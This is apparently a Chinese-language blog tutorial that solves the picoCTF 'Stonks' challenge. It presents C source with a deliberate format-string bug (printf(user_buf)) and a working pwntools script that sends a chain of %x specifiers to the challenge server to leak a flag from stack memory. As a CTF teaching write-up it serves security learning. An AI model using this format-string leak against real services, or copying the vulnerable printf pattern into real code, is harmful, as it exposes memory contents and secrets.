iT邦幫忙

2021 iThome 鐵人賽

DAY 29
0
Security

一起資安入門 -- picoCTF 探索與解題系列 第 29

[2021鐵人賽 Day29] Binary Exploitation (Pwn) Pwn題目 01

  • 引言
    昨天介紹了 pwntools 這個好用工具的基本使用方式,
    有了這幾個函式,其實就已經可以對遠端伺服器做基本對答了,
    你可以接收資料、處理資料、回傳資料,然後不斷循環,直到得到想要的資訊後關閉伺服器。

    在進入今天的題目之前,這裡稍微提一下 C 語言的 printf 這個函式,
    printf 的格式如下:

    printf(格式字串, 變數);
    

    格式字串簡單舉例:
    "%d", "%s", "%x" ,分別對應後面有個「整數」、「字串」、「十六進位」的變數,
    其中十六進位表示 printf 會將資料以十六進位的方式輸出。
    因此 printf("%d", num); 就是在 %d 的位置填入後面 num 整數變數的值,
    如果 num 是 87 , printf 就會印出 87 。

    只要知道這件事,我們就可以進入題目了。

  • Binary Exploitation / Stonks
    https://ithelp.ithome.com.tw/upload/images/20211013/20111429Q7CQYn99eE.png
    題目提供了伺服器位址與遠端程式的原始檔,
    我們先看看伺服器裡面是什麼:

    $ nc mercury.picoctf.net 27912
    

    會輸出:

    Welcome back to the trading app!
    
    What would you like to do?
    1) Buy some stonks!
    2) View my portfolio
    

    題目說明有說這是一個出題者寫的模擬股票交易程式,
    有兩個選項:買股票以及看目前的購買紀錄
    我們先看看 2 ,什麼都沒有顯示,因為還沒買任何股票。
    所以我們輸入 1 直接買股票:

    Using patented AI algorithms to buy stonks
    Stonks chosen
    What is your API token?
    

    它會需要你輸入 API token ,這東西常出現在一些商用 API 上,
    例如某 API 提供購買者一個月查詢 10000 次台北公車詳細資料,
    讓購買者可以應用在他的 APP 上面,則購買者購買的就是 API token ,
    使用 API 時需要搭配此 token 才能正常使用。
    這些不是這題重點,只是順便提到~

    從伺服器看來我們需要輸入 token 才能往下執行,
    但題目沒有給 token ,所以我們要從題目提供的原始碼中試著尋找。

    不過我們先隨便輸入看看下面有什麼,例如輸入 rrr :

    Buying stonks with token:
    rrr
    Portfolio as of Wed Oct 13 19:30:09 UTC 2021
    
    
    2 shares of ZC
    8 shares of V
    104 shares of NA
    912 shares of DU
    Goodbye!
    

    程式輸出了隨機的股票交易 ( 從原始碼可以看出來 ) ,
    然後程式就結束了,看起來玄機應該在輸入的部份,
    是否有某些特定輸入可以得到 flag ?

    我們直接看看題目提供的原始碼:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <time.h>
    
    #define FLAG_BUFFER 128
    #define MAX_SYM_LEN 4
    
    typedef struct Stonks {
        int shares;
        char symbol[MAX_SYM_LEN + 1];
        struct Stonks *next;
    } Stonk;
    
    typedef struct Portfolios {
        int money;
        Stonk *head;
    } Portfolio;
    
    int view_portfolio(Portfolio *p) {
        if (!p) {
            return 1;
        }
        printf("\nPortfolio as of ");
        fflush(stdout);
        system("date"); // TODO: implement this in C
        fflush(stdout);
    
        printf("\n\n");
        Stonk *head = p->head;
        if (!head) {
            printf("You don't own any stonks!\n");
        }
        while (head) {
            printf("%d shares of %s\n", head->shares, head->symbol);
            head = head->next;
        }
        return 0;
    }
    
    Stonk *pick_symbol_with_AI(int shares) {
        if (shares < 1) {
            return NULL;
        }
        Stonk *stonk = malloc(sizeof(Stonk));
        stonk->shares = shares;
    
        int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
        for (int i = 0; i <= MAX_SYM_LEN; i++) {
            if (i < AI_symbol_len) {
                stonk->symbol[i] = 'A' + (rand() % 26);
            } else {
                stonk->symbol[i] = '\0';
            }
        }
    
        stonk->next = NULL;
    
        return stonk;
    }
    
    int buy_stonks(Portfolio *p) {
        if (!p) {
            return 1;
        }
        char api_buf[FLAG_BUFFER];
        FILE *f = fopen("api","r");
        if (!f) {
            printf("Flag file not found. Contact an admin.\n");
            exit(1);
        }
        fgets(api_buf, FLAG_BUFFER, f);
    
        int money = p->money;
        int shares = 0;
        Stonk *temp = NULL;
        printf("Using patented AI algorithms to buy stonks\n");
        while (money > 0) {
            shares = (rand() % money) + 1;
            temp = pick_symbol_with_AI(shares);
            temp->next = p->head;
            p->head = temp;
            money -= shares;
        }
        printf("Stonks chosen\n");
    
        // TODO: Figure out how to read token from file, for now just ask
    
        char *user_buf = malloc(300 + 1);
        printf("What is your API token?\n");
        scanf("%300s", user_buf);
        printf("Buying stonks with token:\n");
        printf(user_buf);
    
        // TODO: Actually use key to interact with API
    
        view_portfolio(p);
    
        return 0;
    }
    
    Portfolio *initialize_portfolio() {
        Portfolio *p = malloc(sizeof(Portfolio));
        p->money = (rand() % 2018) + 1;
        p->head = NULL;
        return p;
    }
    
    void free_portfolio(Portfolio *p) {
        Stonk *current = p->head;
        Stonk *next = NULL;
        while (current) {
            next = current->next;
            free(current);
            current = next;
        }
        free(p);
    }
    
    int main(int argc, char *argv[])
    {
        setbuf(stdout, NULL);
        srand(time(NULL));
        Portfolio *p = initialize_portfolio();
        if (!p) {
            printf("Memory failure\n");
            exit(1);
        }
    
        int resp = 0;
    
        printf("Welcome back to the trading app!\n\n");
        printf("What would you like to do?\n");
        printf("1) Buy some stonks!\n");
        printf("2) View my portfolio\n");
        scanf("%d", &resp);
    
        if (resp == 1) {
            buy_stonks(p);
        } else if (resp == 2) {
            view_portfolio(p);
        }
    
        free_portfolio(p);
        printf("Goodbye!\n");
    
        exit(0);
    }
    

    是內容不短的 C 語言程式,要完全看懂需要你一點 C 語言能力基礎。
    剛剛提到玄機可能在輸入,我們來看看 buy_stonks 函式的部份,
    其中真正管輸入的部份是:

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);
    

    你可以輸入長度 300 的字串,但 user_buf 可以容納 301 bytes ,
    所以問題不再這。

    我想 printf(user_buf); 就是問題所在,還記得我們引言提到的嗎?
    printf 第一個參數必須先有一個格式字串,第二個參數以後才是變數,
    但這邊的用法直接是一個字串變數,所以我們可以自己輸入格式字串!
    也就是我們可以自己輸入 %d, %s, %x 等等,那程式就會以為這是原本就有的格式字串,
    導致 printf 會因為你輸入的格式把後面記憶體位址的變數印出來。

    觀察 buy_stonks 函式最開頭:

    char api_buf[FLAG_BUFFER];
    FILE *f = fopen("api","r");
    if (!f) {
        printf("Flag file not found. Contact an admin.\n");
        exit(1);
    }
    fgets(api_buf, FLAG_BUFFER, f);
    

    發現 flag 居然被藏在 api_buf 這個變數裡,但後面的程式都沒有再用到。
    合理懷疑我們就是要挖開這個變數的祕密。

    所以我們可以故意輸入一大堆 %x ,來試著找出 api_buf 這個變數,
    雖然 %x 是十六進位,但我們等等可以用 pwntools 的函式來將數字轉為字串。

    寫好的 Python 解題程式:

    from pwn import *
    
    r = remote('mercury.picoctf.net', 27912)
    print(r.recvuntil(b'2) View my portfolio\n').decode())
    r.sendline(b'1')
    print(r.recvuntil(b'What is your API token?\n').decode())
    r.sendline(b'%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x')
    print(r.recvline().decode())
    s = r.recvline().decode()
    l = s.split('-')
    flag = b''
    for u in l:
        u = int(u, base=16)
        flag += pack(u, 32, 'little')
    print(flag)
    
    r.close()
    

    其中大部份函式我們昨天都介紹過,大致上就是使用 pwntools 取得輸出後做轉換取得 flag 。
    值得注意的點是 sendline 送出了一大堆 %x 並用 - 隔開,
    ( - 可以換成其他符號如 . 等,只是等等分割時要替換掉符號 )
    這部份就是為了測試出 api_buf 這個變數在哪裡,因為我們並不知道確切位置。

    然後最後將所有十六進位數字用 pack() 函數轉成字串,第一個參數是欲轉換數,
    第二個參數是一個字元從幾 bits 的數字轉換,第三個參數就是 little endian 或是 big endian 。

    當你輸入了足夠多 %x ,這部份可以自行測試,就會發現在一堆亂碼中出現了 flag ,
    執行 Python 程式:

    [+] Opening connection to mercury.picoctf.net on port 27912: Done
    Welcome back to the trading app!
    
    What would you like to do?
    1) Buy some stonks!
    2) View my portfolio
    
    Using patented AI algorithms to buy stonks
    Stonks chosen
    What is your API token?
    
    Buying stonks with token:
    
        b'\xd0\xc3\xd6\t\x00\xb0\x04\x08\xc3\x89\x04\x08\x80}\xf9\xf7\xff\xff\xff\xff\x01\x00\x00\x00`\xa1\xd6\t\x10Q\xfa\xf7\xc7}\xf9\xf7\x00\x00\x00\x00\x80\xb1\xd6\t\x01\x00\x00\x00\xb0\xc3\xd6\t\xd0\xc3\xd6\tpicoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}\x00\xa9\xff'
    [*] Closed connection to mercury.picoctf.net port 27912
    

    今天可能寫得很亂,但這種題目必須大部分靠自己摸索結果,我只是提供一種途徑,
    其實每題都有很多解法, Pwn 的題目更是有多種面向的解題方法。


上一篇
[2021鐵人賽 Day28] Binary Exploitation (Pwn) 介紹工具
下一篇
[2021鐵人賽 Day30] 尾聲 / Web Exploitation Web滲透題目 03
系列文
一起資安入門 -- picoCTF 探索與解題30

尚未有邦友留言

立即登入留言